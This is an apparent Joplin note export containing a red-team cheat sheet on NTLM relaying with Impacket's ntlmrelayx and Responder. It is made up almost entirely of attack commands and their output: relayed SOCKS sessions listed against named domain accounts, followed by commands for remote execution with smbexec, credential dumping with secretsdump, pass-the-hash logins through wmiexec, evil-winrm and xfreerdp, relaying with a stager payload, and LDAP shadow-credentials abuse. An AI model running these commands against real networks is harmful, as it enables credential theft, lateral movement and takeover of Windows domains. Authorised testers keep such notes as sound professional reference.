application_data:
order: 1725486132366
user_created_time: 2024-08-01T20:20:33.152Z
user_updated_time: 2024-09-04T04:29:09.535Z
encryption_cipher_text:
encryption_applied: 0
markup_language: 1
is_shared: 0
share_id:
conflict_original_id:
master_key_id:
user_data:
deleted_time: 0
type_: 1 2249fabab1d0414a83f514636b4210eb.md 000644 0000006122 14666154175 012513 0 ustar 00 000000 000000 Impacket NtlmRelayX
# Utilizing Sock sessions with Responder and NtlmRelayX
```
ntlmrelayx> socks
Protocol Target Username Port
-------- -------------- ------------------------ ----
SMB 172.21.48.38 SPAWN/MSIMMONS 445
MSSQL 172.21.48.230 FAERIE/ADMINISTRATOR 1433
MSSQL 172.21.48.230 FAERIE/ROOT 1433
SMB 172.21.48.230 FAERIE/ADMINISTRATOR 445
SMB 172.21.48.230 FAERIE/ALSIMMONS 445
SMTP 172.21.48.225 FAERIEEXCHANGE/SBURKE 25
SMTP 172.21.48.225 FAERIEEXCHANGE/TWILLIAMS 25
IMAP 172.21.48.225 FAERIEEXCHANGE/TMCFARLANE 143
```
# Testing Sock Access from NtlmRelayX:
## SMB:
Using SMBExec:
- proxychains4 impacket-smbexec SPAWN/[email protected]
- proxychains4 smbexec.py SPAWN/[email protected]
Using Smbclient
- proxychains4 impacket-smbclient SPAWN/[email protected]
- proxychains4 smbclient.py SPAWN/[email protected]
## Secrets Dump
- proxychains4 impacket-secretsdump SPAWN/[email protected]
- proxychains4 secretsdump.py SPAWN/[email protected]
## Pass The Hash:
If you obtain hashes from ntlmrelayx you can use the ntlm hash to gain access to a target using the following scripts or tools:
Impacket Wmiexec:
- impacket-wmiexec -hashes ' INSERT HASH HERE' [email protected]
- wmiexec.py -hashes ' INSERT HASH HERE' [email protected]
Evil-WinRM:
- evil-winrm -u Administrator -H 'INSERT HASH HERE' -i 172.21.48.230
XfreeRDP:
- xfreerdp /u:Administrator /pth:'INSERT HASH HERE' /v:172.21.48.230
# Other NtlmRelayX Commands:
## In Kali:
### SMB
- impacket-ntlmrelayx -socks -smb2support -tf smb-targets.txt -c <Stager/Stageless Payload>
- impacket-ntlmrelayx -socks -smb2support -tf smb-targets.txt -c whoami
### Ldap
- impacket-ntlmrelayx -t ldap://dc.domain.local --shadow-credentials --shadow-target target\$
## Python Impacket:
### SMB
- ntlmrelayx.py -socks -smb2support -tf smb-targets.txt -c <Stager/Stageless Payload>
- ntlmrelayx.py -tf smb-targets.txt -c whoami
### LDAP
- ntlmrelayx.py -t ldap://dc.domain.local --shadow-credentials --shadow-target target\$
# References:
- https://www.hackingarticles.in/a-detailed-guide-on-responder-llmnr-poisoning/
- https://infosecwriteups.com/abusing-ntlm-relay-and-pass-the-hash-for-admin-d24d0f12bea0
- https://www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022/
- https://www.offsec-journey.com/post/attacking-ms-sql-servers
id: 2249fabab1d0414a83f514636b4210eb
parent_id: ab4c6b72385d4d8db33ad00069267585
created_time: 2024-08-01T20:20:33.152Z
updated_time: 2024-08-07T16:51:12.189Z
is_conflict: 0
latitude: 0.00000000
longitude: 0.00000000
altitude: 0.0000
author:
source_url:
is_todo: 0
todo_due: 0
todo_completed: 0
source: joplin-desktop
source_application: net.cozic.joplin-desktop
application_data:
order: 1725486132127
user_created_time: 2024-08-01T20:20:33.152Z
user_updated_time: 2024-08-07T16:51:12.189Z
encryption_cipher_text:
encryption_applied: 0
markup_language: 1
is_shared: 0
share_id:
conflict_original_id: